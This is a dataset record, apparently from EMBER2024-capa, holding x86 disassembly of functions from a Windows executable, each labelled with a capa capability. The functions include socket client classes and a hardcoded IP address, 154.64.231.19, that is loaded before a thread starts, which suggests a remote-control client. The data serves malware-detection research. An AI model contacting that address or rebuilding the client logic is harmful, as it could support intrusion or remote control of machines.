joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4039c0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x428246
mov eax, dword fs:[0]
push eax
sub esp, 0x18
push ebx
push esi
push edi
mov eax, dword [0x438008]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, edx
mov dword [ebp - 0x1c], edi
mov esi, ecx
mov dword [ebp - 0x24], esi
push 0x42d930
mov dword [ebp - 0x14], 1
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
jne 0x403a13
push 0x42d930
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push str.CryptBinaryToStringW
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x18], eax
mov dword [esi], vtable.CVolObject.0
mov dword [esi + 4], 0
mov dword [esi + 8], 0
mov dword [ebp - 4], 0
mov dword [esi], vtable.CVolMem.0
mov dword [esi + 0xc], 0
mov dword [esi + 0x14], 0
mov dword [esi + 0x10], 0
mov dword [esi + 0x18], 0x40
mov dword [ebp - 4], 1
cmp dword [esi + 0x14], 0
mov edx, dword [edi + 0x14]
mov dword [ebp - 0x14], 1
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x10], 0
jne 0x403a84
xor ecx, ecx
jmp 0x403a87
mov ecx, dword [esi + 0xc]
test edx, edx
jne 0x403a8f
xor eax, eax
jmp 0x403a92
mov eax, dword [edi + 0xc]
lea ebx, [ebp - 0x10]
push ebx
mov ebx, dword [ebp - 0x18]
push ecx
push 1
push edx
push eax
call ebx
test eax, eax
je 0x403b42
cmp dword [esi + 0xc], 0
mov eax, dword [ebp - 0x10]
lea ebx, [eax + eax]
je 0x403abe
push ebx
mov ecx, esi
call fcn.0041f0e0
jmp 0x403b0a
test ebx, ebx
je 0x403b0a
mov edi, dword [esi + 0x18]
mov eax, 0x40
test edi, edi
cmovle edi, eax
mov eax, ebx
cdq
idiv edi
mov eax, dword [esi]
sub edi, edx
add edi, ebx
push edi
mov eax, dword [eax]
cmp eax, method.CWString.virtual_0
jne 0x403afa
mov ecx, 0x438d88
call fcn.0041fdf0
test eax, eax
jne 0x403afe
push 0xffffffffffffffff
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
mov ecx, esi
call eax
mov dword [esi + 0x10], edi
mov edi, dword [ebp - 0x1c]
mov dword [esi + 0xc], eax
mov dword [esi + 0x14], ebx
push dword [esi + 0x14]
push 0
push dword [esi + 0xc]
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
cmp dword [esi + 0x14], 0
jne 0x403b24
xor ecx, ecx
jmp 0x403b27
mov ecx, dword [esi + 0xc]
cmp dword [edi + 0x14], 0
jne 0x403b31
xor eax, eax
jmp 0x403b34
mov eax, dword [edi + 0xc]
lea edx, [ebp - 0x10]
push edx
push ecx
push 1
push dword [ebp - 0x20]
push eax
call dword [ebp - 0x18]
mov dword [ebp - 0x14], 0
mov dword [ebp - 4], 0xffffffff
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x403be0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x428285
mov eax, dword fs:[0]
push eax
push ecx
mov eax, dword [0x438008]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp dword [0x438d98], 0x2c
jl 0x403c38
push 0x438d9c
call fcn.0041fd10
mov edx, dword [0x438d94]
add esp, 4
test edx, edx
je 0x403c2a
mov eax, dword [edx]
mov dword [0x438d94], eax
mov dword [0x438d9c], 1
test edx, edx
jne 0x403c57
push 0x2c
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edx, eax
test edx, edx
jne 0x403c57
push 0xffffffffffffffff
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
mov dword [ebp - 0x10], edx
mov dword [ebp - 4], 0
mov ecx, edx
call fcn.00402750
mov byte [ebp - 4], 1
mov dword [edx], vtable.CWConstString.0
mov dword [ebp - 4], 0xffffffff
mov eax, edx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret

Function at 0x403c90
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4282cd
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push esi
push edi
mov eax, dword [0x438008]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
cmp dword [0x438d98], 0x2c
jl 0x403ced
push 0x438d9c
call fcn.0041fd10
mov edi, dword [0x438d94]
add esp, 4
test edi, edi
je 0x403cdf
mov eax, dword [edi]
mov dword [0x438d94], eax
mov dword [0x438d9c], 1
test edi, edi
jne 0x403d0c
push 0x2c
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
test edi, edi
jne 0x403d0c
push 0xffffffffffffffff
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
mov dword [ebp - 0x10], edi
mov dword [ebp - 4], 0
mov ecx, edi
call fcn.00402750
mov byte [ebp - 4], 1
mov dword [edi], vtable.CWConstString.0
mov byte [ebp - 4], 2
lea ecx, [edi + 0x10]
mov dword [edi], vtable.CWConstString.0
mov eax, dword [ebx + 4]
mov dword [edi + 4], eax
mov eax, dword [ebx + 8]
mov dword [edi + 8], eax
mov eax, dword [ebx + 0xc]
mov dword [edi + 0xc], eax
mov eax, dword [edi + 0x10]
call dword [eax + 0x44]
lea eax, [ebx + 0x10]
push eax
lea ecx, [edi + 0x10]
call fcn.00402d10
mov dword [ebp - 4], 0xffffffff
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x408600
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x427aa5
mov eax, dword fs:[0]
push eax
push ecx
mov eax, dword [0x438008]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp dword [0x438d98], 0x20
jl 0x408658
push 0x438d9c
call fcn.0041fd10
mov ecx, dword [0x438d94]
add esp, 4
test ecx, ecx
je 0x40864a
mov eax, dword [ecx]
mov dword [0x438d94], eax
mov dword [0x438d9c], 1
test ecx, ecx
jne 0x408677
push 0x20
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ecx, eax
test ecx, ecx
jne 0x408677
push 0xffffffffffffffff
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
mov dword [ebp - 0x10], ecx
mov dword [ebp - 4], 0
mov dword [ecx], vtable.CVolObject.0
mov dword [ecx + 4], 0
mov dword [ecx + 8], 0
mov byte [ebp - 4], 1
xorps xmm0, xmm0
mov dword [ecx], vtable.CVolComVariant.0
movups xmmword [ecx + 0x10], xmm0
mov dword [ebp - 4], 0xffffffff
mov eax, ecx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret

Function at 0x408760
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x427ffd
mov eax, dword fs:[0]
push eax
push ecx
push esi
mov eax, dword [0x438008]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
cmp dword [0x438d98], 0x20
jl 0x4087bb
push 0x438d9c
call fcn.0041fd10
mov ecx, dword [0x438d94]
add esp, 4
test ecx, ecx
je 0x4087ad
mov eax, dword [ecx]
mov dword [0x438d94], eax
mov dword [0x438d9c], 1
test ecx, ecx
jne 0x4087da
push 0x20
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ecx, eax
test ecx, ecx
jne 0x4087da
push 0xffffffffffffffff
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
mov dword [ebp - 0x10], ecx
mov dword [ebp - 4], 0
push esi
call fcn.004086c0
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x408d40
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x427aa5
mov eax, dword fs:[0]
push eax
push ecx
mov eax, dword [0x438008]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp dword [0x438d98], 0x14
jl 0x408d98
push 0x438d9c
call fcn.0041fd10
mov ecx, dword [0x438d94]
add esp, 4
test ecx, ecx
je 0x408d8a
mov eax, dword [ecx]
mov dword [0x438d94], eax
mov dword [0x438d9c], 1
test ecx, ecx
jne 0x408db7
push 0x14
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ecx, eax
test ecx, ecx
jne 0x408db7
push 0xffffffffffffffff
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
mov dword [ebp - 0x10], ecx
mov dword [ebp - 4], 0
mov dword [ecx], vtable.CVolObject.0
mov dword [ecx + 4], 0
mov dword [ecx + 8], 0
mov byte [ebp - 4], 1
mov dword [ecx], vtable.CVolComObject.0
mov dword [ecx + 0xc], 0
mov dword [ecx + 0x10], 0
mov dword [ebp - 4], 0xffffffff
mov eax, ecx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret
Function at 0x408ec0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x427ffd
mov eax, dword fs:[0]
push eax
push ecx
push esi
mov eax, dword [0x438008]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
cmp dword [0x438d98], 0x14
jl 0x408f1b
push 0x438d9c
call fcn.0041fd10
mov ecx, dword [0x438d94]
add esp, 4
test ecx, ecx
je 0x408f0d
mov eax, dword [ecx]
mov dword [0x438d94], eax
mov dword [0x438d9c], 1
test ecx, ecx
jne 0x408f3a
push 0x14
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ecx, eax
test ecx, ecx
jne 0x408f3a
push 0xffffffffffffffff
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
mov dword [ebp - 0x10], ecx
mov dword [ebp - 4], 0
push esi
call fcn.00408e10
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x40a140
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x427bed
mov eax, dword fs:[0]
push eax
push ecx
mov eax, dword [0x438008]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp dword [0x438d98], 0x48
jl 0x40a198
push 0x438d9c
call fcn.0041fd10
mov ecx, dword [0x438d94]
add esp, 4
test ecx, ecx
je 0x40a18a
mov eax, dword [ecx]
mov dword [0x438d94], eax
mov dword [0x438d9c], 1
test ecx, ecx
jne 0x40a1b7
push 0x48
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ecx, eax
test ecx, ecx
jne 0x40a1b7
push 0xffffffffffffffff
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
mov dword [ebp - 0x10], ecx
mov dword [ebp - 4], 0
call fcn.0040a570
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret

Function at 0x40a260
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x429765
mov eax, dword fs:[0]
push eax
push ecx
push esi
mov eax, dword [0x438008]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
cmp dword [0x438d98], 0x48
jl 0x40a2bb
push 0x438d9c
call fcn.0041fd10
mov edx, dword [0x438d94]
add esp, 4
test edx, edx
je 0x40a2ad
mov eax, dword [edx]
mov dword [0x438d94], eax
mov dword [0x438d9c], 1
test edx, edx
jne 0x40a2da
push 0x48
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edx, eax
test edx, edx
jne 0x40a2da
push 0xffffffffffffffff
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
mov dword [ebp - 0x10], edx
mov dword [ebp - 4], 0
mov ecx, edx
call fcn.0040a570
mov byte [ebp - 4], 1
mov dword [edx], vtable.rg_volcano_base::rg_KeHu.0
mov dword [edx + 0xc], vtable.rg_volcano_base::rg_KeHu.1.0
mov eax, dword [esi + 4]
mov dword [edx + 4], eax
mov eax, dword [esi + 8]
mov dword [edx + 8], eax
mov dword [ebp - 4], 0xffffffff
mov eax, edx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x40a570
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x429891
mov eax, dword fs:[0]
push eax
sub esp, 8
mov eax, dword [0x438008]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], ecx
mov dword [ecx], vtable.CVolObject.0
mov dword [ecx + 4], 0
mov dword [ecx + 8], 0
mov dword [ebp - 4], 0
lea eax, [ecx + 0x10]
mov dword [ecx + 0xc], vtable.IVolSocketInterface.0
mov dword [ecx], vtable.rg_volcano_base::rg_KeHu.0
mov dword [ecx + 0xc], vtable.rg_volcano_base::rg_KeHu.1.0
mov dword [ebp - 0x14], eax
mov dword [eax], vtable.CBaseSocketObjct.0
mov dword [eax + 4], eax
mov dword [eax + 8], 0
mov byte [ebp - 4], 1
mov dword [eax + 0xc], 0
mov dword [eax + 0x10], 0xffffffff
mov byte [ebp - 4], 2
mov dword [eax], vtable.CClientSockObject.0
mov dword [eax + 0x14], 0
mov byte [ebp - 4], 3
mov dword [ecx + 0x28], 1
mov dword [ecx + 0x2c], 0
mov dword [ecx + 0x30], 0
mov dword [ecx + 0x34], 0
mov byte [ebp - 4], 4
mov dword [ecx + 0x38], 1
mov dword [ecx + 0x3c], 0
mov dword [ecx + 0x40], 0
mov dword [ecx + 0x44], 0
mov dword [ebp - 4], 0xffffffff
mov eax, ecx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret

Function at 0x40a980
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x427bed
mov eax, dword fs:[0]
push eax
push ecx
mov eax, dword [0x438008]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp dword [0x438d98], 0x88
jl 0x40a9db
push 0x438d9c
call fcn.0041fd10
mov ecx, dword [0x438d94]
add esp, 4
test ecx, ecx
je 0x40a9cd
mov eax, dword [ecx]
mov dword [0x438d94], eax
mov dword [0x438d9c], 1
test ecx, ecx
jne 0x40a9fd
push 0x88
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ecx, eax
test ecx, ecx
jne 0x40a9fd
push 0xffffffffffffffff
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
mov dword [ebp - 0x10], ecx
mov dword [ebp - 4], 0
call fcn.0040fcc0
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret
Function at 0x40ab90
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x427aa5
mov eax, dword fs:[0]
push eax
push ecx
mov eax, dword [0x438008]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp dword [0x438d98], 0x14
jl 0x40abe8
push 0x438d9c
call fcn.0041fd10
mov ecx, dword [0x438d94]
add esp, 4
test ecx, ecx
je 0x40abda
mov eax, dword [ecx]
mov dword [0x438d94], eax
mov dword [0x438d9c], 1
test ecx, ecx
jne 0x40ac07
push 0x14
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ecx, eax
test ecx, ecx
jne 0x40ac07
push 0xffffffffffffffff
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
mov dword [ebp - 0x10], ecx
mov dword [ebp - 4], 0
mov dword [ecx], vtable.CVolObject.0
mov dword [ecx + 4], 0
mov dword [ecx + 8], 0
mov byte [ebp - 4], 1
mov dword [ecx], vtable.rg_qweqwe_ffff::rg_FILETIME_n.0
mov dword [ecx + 0xc], 0
mov dword [ecx + 0x10], 0
mov dword [ebp - 4], 0xffffffff
mov eax, ecx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret

Function at 0x40acf0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x427aed
mov eax, dword fs:[0]
push eax
push ecx
push esi
mov eax, dword [0x438008]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
cmp dword [0x438d98], 0x14
jl 0x40ad4b
push 0x438d9c
call fcn.0041fd10
mov ecx, dword [0x438d94]
add esp, 4
test ecx, ecx
je 0x40ad3d
mov eax, dword [ecx]
mov dword [0x438d94], eax
mov dword [0x438d9c], 1
test ecx, ecx
jne 0x40ad6a
push 0x14
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ecx, eax
test ecx, ecx
jne 0x40ad6a
push 0xffffffffffffffff
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
mov dword [ebp - 0x10], ecx
mov dword [ebp - 4], 0
mov dword [ecx], vtable.CVolObject.0
mov dword [ecx + 4], 0
mov dword [ecx + 8], 0
mov byte [ebp - 4], 1
mov dword [ecx], vtable.rg_qweqwe_ffff::rg_FILETIME_n.0
mov dword [ecx + 0xc], 0
mov dword [ecx + 0x10], 0
mov byte [ebp - 4], 2
mov dword [ecx], vtable.rg_qweqwe_ffff::rg_FILETIME_n.0
mov eax, dword [esi + 4]
mov dword [ecx + 4], eax
mov eax, dword [esi + 8]
mov dword [ecx + 8], eax
mov eax, dword [esi + 0xc]
mov dword [ecx + 0xc], eax
mov eax, dword [esi + 0x10]
mov dword [ecx + 0x10], eax
mov dword [ebp - 4], 0xffffffff
mov eax, ecx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x40b090
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x427bed
mov eax, dword fs:[0]
push eax
push ecx
mov eax, dword [0x438008]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp dword [0x438d98], 0xa8
jl 0x40b0eb
push 0x438d9c
call fcn.0041fd10
mov ecx, dword [0x438d94]
add esp, 4
test ecx, ecx
je 0x40b0dd
mov eax, dword [ecx]
mov dword [0x438d94], eax
mov dword [0x438d9c], 1
test ecx, ecx
jne 0x40b10d
push 0xa8
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ecx, eax
test ecx, ecx
jne 0x40b10d
push 0xffffffffffffffff
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
mov dword [ebp - 0x10], ecx
mov dword [ebp - 4], 0
call fcn.0040bf10
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret

Function at 0x40b1e0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x429a25
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push esi
push edi
mov eax, dword [0x438008]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
cmp dword [0x438d98], 0xa8
jl 0x40b240
push 0x438d9c
call fcn.0041fd10
mov edi, dword [0x438d94]
add esp, 4
test edi, edi
je 0x40b232
mov eax, dword [edi]
mov dword [0x438d94], eax
mov dword [0x438d9c], 1
test edi, edi
jne 0x40b262
push 0xa8
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
test edi, edi
jne 0x40b262
push 0xffffffffffffffff
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
mov dword [ebp - 0x10], edi
mov dword [ebp - 4], 0
mov ecx, edi
call fcn.0040bf10
mov byte [ebp - 4], 1
lea ecx, [edi + 0x48]
mov dword [edi], vtable.rg_qweqwe_ffff::rg_MouYongKeHuDuan.1.0
mov dword [edi + 0xc], vtable.rg_qweqwe_ffff::rg_MouYongKeHuDuan.0
mov eax, dword [ebx + 4]
mov dword [edi + 4], eax
mov eax, dword [ebx + 8]
mov dword [edi + 8], eax
mov eax, dword [edi + 0x48]
call dword [eax + 0x44]
lea eax, [ebx + 0x48]
push eax
lea ecx, [edi + 0x48]
call fcn.00402d10
mov eax, dword [edi + 0x88]
lea ecx, [edi + 0x88]
call dword [eax + 0x44]
lea eax, [ebx + 0x88]
push eax
lea ecx, [edi + 0x88]
call fcn.00402d10
mov dword [ebp - 4], 0xffffffff
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40b5a0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x427bed
mov eax, dword fs:[0]
push eax
push ecx
mov eax, dword [0x438008]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp dword [0x438d98], 0x280
jl 0x40b5fb
push 0x438d9c
call fcn.0041fd10
mov ecx, dword [0x438d94]
add esp, 4
test ecx, ecx
je 0x40b5ed
mov eax, dword [ecx]
mov dword [0x438d94], eax
mov dword [0x438d9c], 1
test ecx, ecx
jne 0x40b61d
push 0x280
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ecx, eax
test ecx, ecx
jne 0x40b61d
push 0xffffffffffffffff
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
mov dword [ebp - 0x10], ecx
mov dword [ebp - 4], 0
call fcn.0040e700
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret

Function at 0x40b750
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x429ac5
mov eax, dword fs:[0]
push eax
push ecx
push esi
push edi
mov eax, dword [0x438008]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
cmp dword [0x438d98], 0x280
jl 0x40b7af
push 0x438d9c
call fcn.0041fd10
mov esi, dword [0x438d94]
add esp, 4
test esi, esi
je 0x40b7a1
mov eax, dword [esi]
mov dword [0x438d94], eax
mov dword [0x438d9c], 1
test esi, esi
jne 0x40b7d1
push 0x280
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
jne 0x40b7d1
push 0xffffffffffffffff
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
mov dword [ebp - 0x10], esi
mov dword [ebp - 4], 0
mov ecx, esi
call fcn.0040e700
mov byte [ebp - 4], 1
mov ecx, esi
push edi
mov dword [esi], vtable.rg_qweqwe_ffff::rg_WIN32_FIND_DATAW_n.0
call fcn.0040b930
mov dword [ebp - 4], 0xffffffff
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x40baa0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x429c05
mov eax, dword fs:[0]
push eax
sub esp, 0x5c
push esi
mov eax, dword [0x438008]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
sub esp, 8
mov ecx, 0x438da0
call fcn.0041a890
test eax, eax
jne 0x40bae7
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret
lea ecx, [ebp - 0x3c]
call fcn.00402750
mov dword [ebp - 4], 0
mov edx, 5
push ecx
lea ecx, [ebp - 0x68]
call fcn.00409c30
mov esi, eax
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x3c]
mov edx, dword [ebp - 0x3c]
call dword [edx + 0x44]
mov ecx, dword [esi + 4]
mov dword [ebp - 0x38], ecx
mov ecx, dword [esi + 8]
mov dword [ebp - 0x34], ecx
lea ecx, [ebp - 0x2c]
mov eax, dword [esi + 0xc]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x2c]
call dword [eax + 0x44]
lea eax, [esi + 0x10]
push eax
lea ecx, [ebp - 0x2c]
call fcn.00402d10
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x68]
call fcn.004023f0
call fcn.0040bc00
mov eax, dword [0x43806c]
mov dword [0x43805c], 0
test eax, eax
je 0x40bb6c
push eax
mov eax, dword [0x438060]
mov ecx, 0x438060
call dword [eax + 0xc]
push str.154.64.231.19
mov ecx, 0x438060
mov dword [0x43806c], 0
mov dword [0x438074], 0
mov dword [0x438070], 0
call fcn.0041f1e0
cmp dword [0x438eb4], 0
mov dword [0x438d70], 0x3e7
jne 0x40bbb7
push 0x3e7
push ecx
call fcn.00413c70
lea eax, [ebp - 0x10]
push eax
push 0
push 0
push 0x40bde0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
je 0x40bbd9
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x3c]
call fcn.004023f0
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret